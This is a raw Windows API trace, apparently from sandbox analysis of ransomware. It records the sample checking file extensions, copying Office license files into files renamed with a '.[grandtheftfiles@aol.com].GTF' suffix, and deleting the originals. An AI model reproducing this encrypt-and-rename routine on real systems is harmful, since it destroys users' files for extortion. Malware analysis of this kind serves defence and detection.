	[0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.202] lstrlenW (lpString=".zip") returned 4
	[0169.202] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.202] lstrlenW (lpString=".rar") returned 4
	[0169.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.202] lstrlenW (lpString=".bz2") returned 4
	[0169.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.202] lstrlenW (lpString=".7z") returned 3
	[0169.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.202] lstrlenW (lpString=".dbf") returned 4
	[0169.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.202] lstrlenW (lpString=".1cd") returned 4
	[0169.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.202] lstrlenW (lpString=".jpg") returned 4
	[0169.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.202] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.203] lstrlenW (lpString="ExcelR_Grace-ppd.xrm-ms") returned 23
	[0169.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0169.203] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20841) returned 1
	[0169.203] CloseHandle (hObject=0x570) returned 1
	[0169.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220
	[0169.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0169.204] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.204] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0169.205] GetLastError () returned 0x0
	[0169.205] ReadFile (in: hFile=0x570, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5169, lpOverlapped=0x0) returned 1
	[0169.227] WriteFile (in: hFile=0x428, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5170, lpOverlapped=0x0) returned 1
	[0169.229] ReadFile (in: hFile=0x570, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.229] WriteFile (in: hFile=0x428, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x102, lpOverlapped=0x0) returned 1
	[0169.229] SetEndOfFile (hFile=0x428) returned 1
	[0169.229] CloseHandle (hObject=0x428) returned 1
	[0169.229] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.229] SetEndOfFile (hFile=0x570) returned 1
	[0169.588] CloseHandle (hObject=0x570) returned 1
	[0169.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.590] lstrlenW (lpString=".doc") returned 4
	[0169.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.590] lstrlenW (lpString=".docx") returned 5
	[0169.590] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.590] lstrlenW (lpString=".pdf") returned 4
	[0169.590] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.590] lstrlenW (lpString=".xls") returned 4
	[0169.590] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.590] lstrlenW (lpString=".xlsx") returned 5
	[0169.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.590] lstrlenW (lpString=".ppt") returned 4
	[0169.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.590] lstrlenW (lpString=".zip") returned 4
	[0169.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.590] lstrlenW (lpString=".rar") returned 4
	[0169.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.590] lstrlenW (lpString=".bz2") returned 4
	[0169.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.590] lstrlenW (lpString=".7z") returned 3
	[0169.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.590] lstrlenW (lpString=".dbf") returned 4
	[0169.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.591] lstrlenW (lpString=".1cd") returned 4
	[0169.591] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.591] lstrlenW (lpString=".jpg") returned 4
	[0169.591] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.591] lstrlenW (lpString=".doc") returned 4
	[0169.591] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString=".docx") returned 5
	[0169.591] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.591] lstrlenW (lpString=".pdf") returned 4
	[0169.591] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString=".xls") returned 4
	[0169.591] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString=".xlsx") returned 5
	[0169.591] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.591] lstrlenW (lpString=".ppt") returned 4
	[0169.591] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.591] lstrlenW (lpString=".zip") returned 4
	[0169.591] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString=".rar") returned 4
	[0169.591] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString=".bz2") returned 4
	[0169.591] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.591] lstrlenW (lpString=".7z") returned 3
	[0169.591] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.591] lstrlenW (lpString=".dbf") returned 4
	[0169.591] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.592] lstrlenW (lpString=".1cd") returned 4
	[0169.592] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0169.592] lstrlenW (lpString=".jpg") returned 4
	[0169.592] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.592] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.592] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29
	[0169.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0169.592] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19927) returned 1
	[0169.593] CloseHandle (hObject=0x570) returned 1
	[0169.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0169.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0169.593] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.593] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0169.739] GetLastError () returned 0x0
	[0169.739] ReadFile (in: hFile=0x570, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dd7, lpOverlapped=0x0) returned 1
	[0170.085] WriteFile (in: hFile=0x550, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0170.092] ReadFile (in: hFile=0x570, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.092] WriteFile (in: hFile=0x550, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0170.092] SetEndOfFile (hFile=0x550) returned 1
	[0170.092] CloseHandle (hObject=0x550) returned 1
	[0170.093] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.093] SetEndOfFile (hFile=0x570) returned 1
	[0170.109] CloseHandle (hObject=0x570) returned 1
	[0170.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0170.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.117] lstrlenW (lpString=".doc") returned 4
	[0170.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString=".docx") returned 5
	[0170.118] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.118] lstrlenW (lpString=".pdf") returned 4
	[0170.118] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString=".xls") returned 4
	[0170.118] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString=".xlsx") returned 5
	[0170.118] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.118] lstrlenW (lpString=".ppt") returned 4
	[0170.118] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.118] lstrlenW (lpString=".zip") returned 4
	[0170.118] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString=".rar") returned 4
	[0170.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString=".bz2") returned 4
	[0170.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString=".7z") returned 3
	[0170.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.118] lstrlenW (lpString=".dbf") returned 4
	[0170.118] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.118] lstrlenW (lpString=".1cd") returned 4
	[0170.118] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.118] lstrlenW (lpString=".jpg") returned 4
	[0170.119] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.119] lstrlenW (lpString=".doc") returned 4
	[0170.119] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.119] lstrlenW (lpString=".docx") returned 5
	[0170.119] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.119] lstrlenW (lpString=".pdf") returned 4
	[0170.119] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.119] lstrlenW (lpString=".xls") returned 4
	[0170.120] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.120] lstrlenW (lpString=".xlsx") returned 5
	[0170.120] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.120] lstrlenW (lpString=".ppt") returned 4
	[0170.120] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.120] lstrlenW (lpString=".zip") returned 4
	[0170.120] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.120] lstrlenW (lpString=".rar") returned 4
	[0170.120] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.120] lstrlenW (lpString=".bz2") returned 4
	[0170.120] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.120] lstrlenW (lpString=".7z") returned 3
	[0170.120] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.120] lstrlenW (lpString=".dbf") returned 4
	[0170.120] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.120] lstrlenW (lpString=".1cd") returned 4
	[0170.120] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.120] lstrlenW (lpString=".jpg") returned 4
	[0170.120] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.121] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.121] lstrlenW (lpString="ExcelR_Retail-ul-phn.xrm-ms") returned 27
	[0170.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0170.129] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19919) returned 1
	[0170.129] CloseHandle (hObject=0x528) returned 1
	[0170.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220
	[0170.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.458] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.458] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.598] GetLastError () returned 0x0
	[0170.598] ReadFile (in: hFile=0x574, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dcf, lpOverlapped=0x0) returned 1
	[0170.636] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4dd0, lpOverlapped=0x0) returned 1
	[0170.637] ReadFile (in: hFile=0x574, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.638] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0170.638] SetEndOfFile (hFile=0x534) returned 1
	[0170.638] CloseHandle (hObject=0x534) returned 1
	[0170.638] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.638] SetEndOfFile (hFile=0x574) returned 1
	[0170.642] CloseHandle (hObject=0x574) returned 1
	[0170.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1
	[0170.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.643] lstrlenW (lpString=".doc") returned 4
	[0170.643] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.643] lstrlenW (lpString=".docx") returned 5
	[0170.643] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.643] lstrlenW (lpString=".pdf") returned 4
	[0170.643] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.643] lstrlenW (lpString=".xls") returned 4
	[0170.643] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.643] lstrlenW (lpString=".xlsx") returned 5
	[0170.643] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.643] lstrlenW (lpString=".ppt") returned 4
	[0170.643] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.643] lstrlenW (lpString=".zip") returned 4
	[0170.643] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.643] lstrlenW (lpString=".rar") returned 4
	[0170.643] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.643] lstrlenW (lpString=".bz2") returned 4
	[0170.643] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.643] lstrlenW (lpString=".7z") returned 3
	[0170.643] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.644] lstrlenW (lpString=".dbf") returned 4
	[0170.644] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.644] lstrlenW (lpString=".1cd") returned 4
	[0170.644] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0170.644] lstrlenW (lpString=".jpg") returned 4
	[0170.644] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
